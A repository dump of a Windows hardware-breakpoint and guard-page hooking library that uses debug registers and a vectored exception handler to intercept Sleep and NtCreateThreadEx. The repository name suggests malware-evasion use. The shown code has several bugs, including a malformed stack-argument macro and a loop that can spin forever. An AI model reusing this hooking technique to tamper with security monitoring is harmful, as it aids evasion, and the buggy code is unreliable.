Full Code of rad9800/hwbp4mw for AI

main 9a83a1fda068 cached
9 files
127.4 KB
30.5k tokens
52 symbols
1 requests
Download .txt
Repository: rad9800/hwbp4mw
Branch: main
Commit: 9a83a1fda068
Files: 9
Total size: 127.4 KB

Directory structure:
gitextract_ztggurhc/

├── DRPGG.cpp
├── HWBP.c
├── HWBPP.cpp
├── LICENSE.md
├── NtCreateThreadExHook.cpp
├── README.md
├── TamperingSyscalls2.c
├── TamperingSyscalls2.cpp
└── recvHook.cpp

================================================
FILE CONTENTS
================================================

================================================
FILE: DRPGG.cpp
================================================
//////////////////////////////////////////////////////////////////////////////////////////
/*                                      DRPGG.cpp - @rad9800                            */
/*                           C++ PAGE_GUARD/HWBP Breakpoint Library   c++20             */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>

#include <tlhelp32.h>
#include <functional>	// std::function 


using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Structs                                     */
//////////////////////////////////////////////////////////////////////////////////////////

typedef struct {
	UINT										pos;
	EXCEPTION_FUNC								func;
} HWBP_CALLBACK;

typedef struct {
	EXCEPTION_FUNC								func;
} PG_CALLBACK;

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
	);

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////

// maintain our address -> lambda function mapping 
std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
std::unordered_map<uintptr_t, PG_CALLBACK>	PG_ADDRESS_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Funcs                                       */
//////////////////////////////////////////////////////////////////////////////////////////
// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	if (init) {
		(&context.Dr0)[pos] = address;

		context.Dr7 &= ~(3ull << (16 + 4 * pos));
		context.Dr7 &= ~(3ull << (18 + 4 * pos));
		context.Dr7 |= 1ull << (2 * pos);
	}
	else {
		if ((&context.Dr0)[pos] == address) {
			context.Dr7 &= ~(1ull << (2 * pos));
			(&context.Dr0)[pos] = NULL;
		}
	}

	SetThreadContext(thd, &context);
}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	const DWORD pid{ GetCurrentProcessId() };
	const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
	DWORD old = 0;
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION)
	{
		if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
		}
		ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
		for (const auto& i : PG_ADDRESS_MAP) {
			VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI TestThread(LPVOID lpParameter)
{
	UNREFERENCED_PARAMETER(lpParameter);
	Sleep(500000);

	return 0;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Classes                                       */
//////////////////////////////////////////////////////////////////////////////////////////
template<typename HANDLER>
struct HWBP {
public:
	HWBP(const uintptr_t address, const UINT idx,
		const HANDLER function) : address{ address }, pos{ idx % 4 }
	{
		SetHWBPS(address, pos);

		HWBP_ADDRESS_MAP[address].func = function;
		HWBP_ADDRESS_MAP[address].pos = pos;
	};

	VOID RemoveHWBPS()
	{
		SetHWBPS(address, pos, false);
		HWBP_ADDRESS_MAP.erase(address);
	}

	~HWBP()
	{
		RemoveHWBPS();
	}

private:
	const uintptr_t address;
	UINT			pos;
};


template<typename HANDLER>
struct PGBP {
public:
	PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address }
	{

		VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

		PG_ADDRESS_MAP[address].func = function;
	}

	VOID RemovePGEntry()
	{
		VirtualProtect((LPVOID)address, 1, old, &old);
		PG_ADDRESS_MAP.erase(address);
	}

	~PGBP()
	{
		RemovePGEntry();
	}
private:
	DWORD old;
	const uintptr_t address;
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
	const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };

	HWBP HWBPSleep{
		(uintptr_t)&Sleep,
		1,
		([&](PEXCEPTION_POINTERS ExceptionInfo) {
			printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
			ExceptionInfo->ContextRecord->Rcx = 0;
			ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
	}) };


	PGBP VEHNtCreateThreadEx{
		(uintptr_t)GetProcAddress(
			GetModuleHandle(L"NTDLL.dll"),
			"NtCreateThreadEx"
		),
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

			// create a new thread suspended
			LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
				(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
				(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
				(PVOID)ExceptionInfo->ContextRecord->R8,
				(HANDLE)ExceptionInfo->ContextRecord->R9,
				(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
				(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
				(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
				(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
				(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
				(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
				(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
			);

			CONTEXT context{ 0 };
			context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

			GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
				&context);

			for (auto& i : HWBP_ADDRESS_MAP) {
				(&context.Dr0)[i.second.pos] = i.first;

				context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
				context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
				context.Dr7 |= 1ull << (2 * i.second.pos);
			}

			SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
				&context);

			ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

			ExceptionInfo->ContextRecord->Rax = status;

			ExceptionInfo->ContextRecord->Rip =
				FindRetAddr(ExceptionInfo->ContextRecord->Rip);
		}) };


	Sleep(1000000);

	for (unsigned int i = 0; i < 2; ++i) {
		HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
		if (t) WaitForSingleObject(t, INFINITE);
	}

	if (handler) RemoveVectoredExceptionHandler(handler);
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                         EOF                                          */
//////////////////////////////////////////////////////////////////////////////////////////


================================================
FILE: HWBP.c
================================================
//////////////////////////////////////////////////////////////////////////////////////////
/*                                       HWBP.c - @rad9800                              */
/*                              Multi-thread safe x86/x64 hooking engine                */
//////////////////////////////////////////////////////////////////////////////////////////
#include <Windows.h>
#include <tlhelp32.h>

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Macros                                      */
//////////////////////////////////////////////////////////////////////////////////////////

#define MALLOC( size ) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define FREE( adr ) HeapFree(GetProcessHeap(), 0, adr)


#if defined(__x86_64__) || defined(_M_X64)
typedef void (__stdcall* exception_callback)(const PEXCEPTION_POINTERS);
#define EXCEPTION_CURRENT_IP(ei) (ei->ContextRecord->Rip)
#define EXCEPTION_FIRST_ARG(ei) (ei->ContextRecord->Rcx)
#define EXCEPTION_SECOND_ARG(ei) (ei->ContextRecord->Rdx)
#define EXCEPTION_THIRD_ARG(ei) (ei->ContextRecord->R8)
#define EXCEPTION_FOURTH_ARG(ei) (ei->ContextRecord->R9)
#define EXCEPTION_FIFTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 5)
#define EXCEPTION_SIXTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 6)
#define EXCEPTION_SEVENTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 7)
#elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)
typedef void (__cdecl* exception_callback)(const PEXCEPTION_POINTERS);
#define EXCEPTION_CURRENT_IP(ei) (ei->ContextRecord->Eip)
#define EXCEPTION_FIRST_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID))
#define EXCEPTION_SECOND_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*2)
#define EXCEPTION_THIRD_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*3)
#define EXCEPTION_FOURTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*4)
#define EXCEPTION_FIFTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*5)
#define EXCEPTION_SIXTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*6)
#define EXCEPTION_SEVENTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*7)
#endif

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Typedefs                                    */
//////////////////////////////////////////////////////////////////////////////////////////

struct descriptor_entry
{
    PVOID adr;
    unsigned pos;
    DWORD tid;
    BOOL dis;
    exception_callback fun;
    struct descriptor_entry* next, * prev;
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                       Globals                                        */
//////////////////////////////////////////////////////////////////////////////////////////

CRITICAL_SECTION g_critical_section;
struct descriptor_entry* head = NULL;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                 Function Definitions                                 */
//////////////////////////////////////////////////////////////////////////////////////////

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    tid: thread id
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 *
 *    return:
 *      BOOL - TRUE/FALSE
 */
BOOL
set_hardware_breakpoint(
    const DWORD tid,
    const PVOID address,
    const UINT pos,
    const BOOL init
)
{
    HANDLE thd = INVALID_HANDLE_VALUE;
    BOOL ret = FALSE;

    do
    {
        CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

        if (tid == GetCurrentThreadId())
        {
            thd = GetCurrentThread();
        }
        else
        {
            thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
        }

        if (thd == INVALID_HANDLE_VALUE)
            break;

        if (!GetThreadContext(thd, &context))
            break;

        if (init)
        {
            (PVOID)(&context.Dr0)[pos] = address;
            context.Dr7 &= ~(3ull << (16 + 4 * pos));
            context.Dr7 &= ~(3ull << (18 + 4 * pos));
            context.Dr7 |= 1ull << (2 * pos);
        }
        else
        {
            if ((PVOID)(&context.Dr0)[pos] == address)
            {
                context.Dr7 &= ~(1ull << (2 * pos));
                (&context.Dr0)[pos] = 0ull;
            }
        }

        if (!SetThreadContext(thd, &context))
            break;

        ret = TRUE;

    } while (FALSE);
    
    if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);

    return TRUE;
}

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 *    tid: Thread ID (0 if to set on all threads)
 *
 *    return:
 *      BOOL - TRUE/FALSE
 */
BOOL
set_hardware_breakpoints(
    const PVOID address,
    const UINT pos,
    const BOOL init,
    const DWORD tid
)
{
    const DWORD pid = GetCurrentProcessId();
    const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    if (h == INVALID_HANDLE_VALUE)
        return FALSE;

    THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };

    if (Thread32First(h, &te)) {
        do {
            if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
                if (tid != 0 && tid != te.th32ThreadID) {
                    continue;
                }
                set_hardware_breakpoint(
                    te.th32ThreadID,
                    address,
                    pos,
                    init
                );
            }
            te.dwSize = sizeof(te);
        } while (Thread32Next(h, &te));
    }
    CloseHandle(h);

    return TRUE;
}

/* DLL related functions */

/*
 * Function: insert_descriptor_entry
 * ---------------------------------
 * Instantiates a hardware hook at the supplied address.
 *
 *    adr: address to hook
 *    pos: Dr[0-3]
 *    fun: callback function matching the exception_callback signature
 *    tid: Thread ID (if is 0, will apply hook to all threads)
 *    dis: Disable DR during callback (allows you to call original function)
 */
BOOL insert_descriptor_entry(
    const PVOID adr,
    const unsigned pos,
    const exception_callback fun,
    const DWORD tid,
    const BOOL dis
)
{
    const unsigned idx = pos % 4;
    struct descriptor_entry* new = MALLOC(sizeof(struct descriptor_entry));
    if (!new)
        return FALSE;

    EnterCriticalSection(&g_critical_section);

    new->adr = adr;
    new->pos = idx;
    new->tid = tid;
    new->fun = fun;
    new->dis = TRUE;

    new->next = head;

    new->prev = NULL;

    if (head != NULL)
        head->prev = new;

    head = new;

    LeaveCriticalSection(&g_critical_section);

    return set_hardware_breakpoints(
        adr,
        idx,
        TRUE,
        tid
    );
}

/*
 * Function: insert_descriptor_entry
 * ---------------------------------
 *  Removes the hardware breakpoint entry
 *
 *    adr: address to hook
 *    tid: Thread ID (if is 0, will apply hook to all threads)
 *         N.B. the tid must match the originally applied value
 *
 */
BOOL delete_descriptor_entry(
    const PVOID adr,
    const DWORD tid
)
{
    struct descriptor_entry* temp = NULL;
    unsigned pos = 0;
    BOOL found = FALSE;

    EnterCriticalSection(&g_critical_section);

    temp = head;

    while (temp != NULL)
    {
        if (temp->adr == adr &&
            temp->tid == tid)
        {
            found = TRUE;

            pos = temp->pos;
            if (head == temp)
                head = temp->next;

            if (temp->next != NULL)
                temp->next->prev = temp->prev;

            if (temp->prev != NULL)
                temp->prev->next = temp->next;

            FREE(temp);
        }

        temp = temp->next;
    }

    LeaveCriticalSection(&g_critical_section);

    if (found)
    {
        return set_hardware_breakpoints(
            adr,
            pos,
            FALSE,
            tid
        );
    }

    return FALSE;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
/*
 * Function: exception_handler
 * -----------------------------------------
 *  hardware breakpoint exception handler required to deal with set debug registers.
 *  initiated by hardware_engine_init and removed by hardware_engine_stop
 *
 */
LONG WINAPI exception_handler(
    const PEXCEPTION_POINTERS ExceptionInfo
)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        struct descriptor_entry* temp = NULL;
        BOOL resolved = FALSE;

        EnterCriticalSection(&g_critical_section);
        temp = head;
        while (temp != NULL)
        {
            if (temp->adr == (PVOID)EXCEPTION_CURRENT_IP(ExceptionInfo))
            {
                if (temp->tid != 0 && temp->tid != GetCurrentThreadId())
                    continue;
                //
                // We have found our node, now check if we need to disable current Dr
                //
                if (temp->dis)
                {
                    set_hardware_breakpoint(
                        GetCurrentThreadId(),
                        temp->adr,
                        temp->pos,
                        FALSE
                    );
                }

                temp->fun(ExceptionInfo);

                //
                // re-enable dr for our current thread
                //
                if (temp->dis)
                {
                    set_hardware_breakpoint(
                        GetCurrentThreadId(),
                        temp->adr,
                        temp->pos,
                        TRUE
                    );
                }

                resolved = TRUE;
            }

            temp = temp->next;
        }
        LeaveCriticalSection(&g_critical_section);

        if (resolved)
        {
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

/*
 * Function: hardware_engine_init
 * ------------------------------
 *  initializes the VEH and critical section
 *
 * returns: handler to the exception handler (can be removed with
 *          RemoveVectoredExceptionHandler.
 */
PVOID
hardware_engine_init(
    void
)
{
    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);
    InitializeCriticalSection(&g_critical_section);

    return handler;
}

/*
 * Function: hardware_engine_stop
 * ------------------------------
 *  Disables all currently set hardware breakpoints, and
 *  clears all the descriptor entries.
 *
 */
void
hardware_engine_stop(
    PVOID handler
)
{
    struct descriptor_entry* temp = NULL;

    EnterCriticalSection(&g_critical_section);

    temp = head;
    while (temp != NULL)
    {
        delete_descriptor_entry(temp->adr, temp->tid);
        temp = temp->next;
    }

    LeaveCriticalSection(&g_critical_section);

    if (handler != NULL) RemoveVectoredExceptionHandler(handler);

    DeleteCriticalSection(&g_critical_section);
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                       Callbacks                                      */
//////////////////////////////////////////////////////////////////////////////////////////

void sleep_callback_test(const PEXCEPTION_POINTERS ExceptionInfo)
{
    Sleep(1000);
    EXCEPTION_FIRST_ARG(ExceptionInfo) = 0;
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////

int main()
{
    const PVOID handler = hardware_engine_init();

    //
    // 0 to hook all threads 
    // GetCurrentThreadId() for current thread
    //
    insert_descriptor_entry(Sleep, 0, sleep_callback_test, 0, TRUE);
    //insert_descriptor_entry(Sleep, 0, sleep_callback_test, GetCurrentThreadId());

    Sleep(0xDEADBEEF);

    delete_descriptor_entry(Sleep, 0);
    //delete_descriptor_entry(Sleep, GetCurrentThreadId());

    hardware_engine_stop(handler);
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          EOF                                         */
//////////////////////////////////////////////////////////////////////////////////////////


================================================
FILE: HWBPP.cpp
================================================
//////////////////////////////////////////////////////////////////////////////////////////
/*                                      HWBPP.cpp - @rad9800                            */
/*                         C++ Hardware Breakpoint Library (DLL example)                */
//////////////////////////////////////////////////////////////////////////////////////////
// dllmain.cpp : Defines the entry point for the DLL application.
// /std:c++20
#include "pch.h"
#include <windows.h>

#include <tlhelp32.h>
#include <functional>

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Structs                                     */
//////////////////////////////////////////////////////////////////////////////////////////
typedef struct {
	UINT										pos;
	EXCEPTION_FUNC								func;
} HWBP_CALLBACK;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////
// maintain our address -> lambda function mapping 
std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Funcs                                       */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	if (init) {
		(&context.Dr0)[pos] = address;

		context.Dr7 &= ~(3ull << (16 + 4 * pos));
		context.Dr7 &= ~(3ull << (18 + 4 * pos));
		context.Dr7 |= 1ull << (2 * pos);
	}
	else {
		if ((&context.Dr0)[pos] == address) {
			context.Dr7 &= ~(1ull << (2 * pos));
			(&context.Dr0)[pos] = NULL;
		}
	}

	SetThreadContext(thd, &context);
}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	const DWORD pid{ GetCurrentProcessId() };
	const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					const HANDLE thd = 
									OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Classes                                       */
//////////////////////////////////////////////////////////////////////////////////////////
template<typename HANDLER>
struct HWBP {
public:
	HWBP(const uintptr_t address, const UINT idx,
		const HANDLER function) : address{ address } , pos{idx % 4}
	{
		SetHWBPS(address, pos);

		HWBP_ADDRESS_MAP[address].func = function;
		HWBP_ADDRESS_MAP[address].pos = pos;
	};

	VOID RemoveHWBPS()
	{
		SetHWBPS(address, pos, false);
		HWBP_ADDRESS_MAP.erase(address);
	}

	~HWBP()
	{
		RemoveHWBPS();
	}

private:
	const uintptr_t address;
	UINT			pos;
};


// Global Scope 
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,
	([&](PEXCEPTION_POINTERS ExceptionInfo) { 
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////
extern "C" 
BOOL APIENTRY DllMain(HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) 
{
	HANDLE handler = NULL;
    switch (ul_reason_for_call)
    {
	case DLL_PROCESS_ATTACH: {
		handler = AddVectoredExceptionHandler(1, ExceptionHandler);
	}; break;
	case DLL_THREAD_ATTACH: {
	} break;
	case DLL_THREAD_DETACH: {

	}; break;
	case DLL_PROCESS_DETACH: {
		if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
	}; break;
    }
    return TRUE;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                         EOF                                          */
//////////////////////////////////////////////////////////////////////////////////////////


================================================
FILE: LICENSE.md
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

